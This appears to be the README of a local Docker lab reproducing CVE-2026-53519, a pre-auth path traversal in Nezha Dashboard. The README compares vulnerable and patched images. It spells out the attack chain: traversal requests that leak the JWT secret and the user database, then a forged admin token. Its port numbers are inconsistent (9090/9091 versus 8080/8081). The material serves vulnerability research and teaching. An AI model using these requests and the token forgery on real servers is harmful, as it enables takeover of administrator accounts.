ivanesk315/cve-2026-53519Docker-лаборатория, воспроизводящая CVE-2026-53519 — обход пути до аутентификации в Nezha Dashboard, который раскрывает jwt_secret_key и позволяет подделывать JWT и захватить права администратора.
Лаборатория воспроизводит уязвимость pre-auth path traversal via /dashboard.. prefix confusion в
Nezha Dashboard, приводящую к утечке jwt_secret_key -> подделке JWT -> захвату прав администратора.
Среда Docker, разделение A/B по версиям для сравнения vuln vs patched.
| Образ | URL (loopback) | Ожидаемый результат |
|---|
| Vulnerable | ghcr.io/nezhahq/nezha:v2.0.12 | http://127.0.0.1:9090 | утечка config.yaml, захват администратора |
| Patched | ghcr.io/nezhahq/nezha:v2.0.13 | http://127.0.0.1:9091 | заблокировано (404) |
Оба привязываются только к 127.0.0.1, не выставляются в LAN. Учётные данные администратора по умолчанию: admin / admin.
python) - для разбора утёкшего sqlite.db (есть fallback при отсутствии)# 1. Seed data + up 2 container (vuln 8080, patched 8081)
.\lab.ps1 reset
# 2. Smoke check nhanh
.\lab.ps1 validate
# 3. Chuoi khai thac day du tren VULN
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1
# 4. Doi chung tren PATCHED (mong doi: bi chan)
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1 -Patched
# 5. Negative controls (vi sao dung bien the nay moi leak)
powershell -ExecutionPolicy Bypass -File .\poc\negative-controls.ps1
Команды управления:
.\lab.ps1 start | stop | status | logs [vuln|patched]
GET /dashboard../data/config.yaml -> утечка jwt_secret_key.
GET /dashboard../data/sqlite.db -> получение user id администратора (id=1).{user_id:"1", ip:"", exp:<future>} утёкшим секретом -> Authorization: Bearer <token>
-> GET /api/v1/profile (аутентификация) и GET /api/v1/user (endpoint только для администратора) -> захват прав администратора.Подробности root cause: см. analysis/ROOT_CAUSE.md и
analysis/vuln-vs-patch.diff.
Полный отчёт: REPORT_CVE_2026_53519.md.
docker-compose.yml # A/B vuln (8080) vs patched (8081)
seed/config.yaml # seed jwt_secret_key co dinh (deterministic)
seed/lab_canary.txt # canary de minh hoa file read
lab.ps1 / lab-common.ps1 # quan ly + helper (raw HTTP, forge JWT HS256)
poc/poc-cve-2026-53519.ps1 # chuoi khai thac day du
poc/negative-controls.ps1 # doi chung cac bien the bi chan
poc/parse_users.py # parse sqlite.db leak -> user id admin
analysis/ROOT_CAUSE.md # phan tich + ban va
analysis/vuln-vs-patch.diff # diff controller.go v2.0.12 -> v2.0.13
evidence/ # output tu moi lan chay (leaked-config, token, userlist...)
Лаборатория предназначена только для исследований/обучения в локальной среде. jwt_secret_key в seed/config.yaml
является фиктивным значением, служит только для демонстрации. Не используйте образ/версию с этой уязвимостью в production.